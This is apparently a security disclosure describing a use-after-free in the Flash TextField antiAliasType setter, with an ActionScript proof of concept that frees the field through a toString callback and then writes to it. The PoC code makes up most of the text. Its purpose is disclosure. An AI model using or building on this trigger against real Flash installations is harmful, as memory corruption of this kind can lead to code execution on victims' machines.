There is a use-after-free in the TextField antiAliasType setter. If it is set to an object with a toString method that frees the TextField, the property will be written after it is freed.
 
A PoC is as follows:
 
var toptf = this.createEmptyMovieClip("toptf", 1);
 
 
function func(){
     
    toptf.removeMovieClip();    
    trace("here");
    return "advanced";
}
 
var o = {toString : func};
 
 
var my_format:TextFormat = new TextFormat();
my_format.font = "Times-12";
 
var my_text1:TextField = toptf.createTextField("my_text1", toptf.getNextHighestDepth(), 9.5, 10, 400, 100);
my_text1.text = "this.gridFitType = none";
my_text1.embedFonts = true;
my_text1.antiAliasType = o;
my_text1.gridFitType = "none";
my_text1.setTextFormat(my_format); 
 
var my_text2:TextField = toptf.createTextField("my_text2", toptf.getNextHighestDepth(), 9.5, 40, 400, 100);
my_text2.text = "this.gridFitType = advanced";
my_text2.embedFonts = true;
my_text2.antiAliasType = "advanced";
my_text2.gridFitType = "pixel";
my_text2.setTextFormat(my_format); 
 
var my_text3:TextField = toptf.createTextField("my_text3", toptf.getNextHighestDepth(), 9.5, 70, 400, 100);
my_text3.text = "this.gridFitType = subpixel";
my_text3.embedFonts = true;
my_text3.antiAliasType = "advanced";
my_text3.gridFitType = "subpixel";
my_text3.setTextFormat(my_format);
 
A sample fla and swf are attached here
https://code.google.com/p/google-security-research/issues/detail?id=560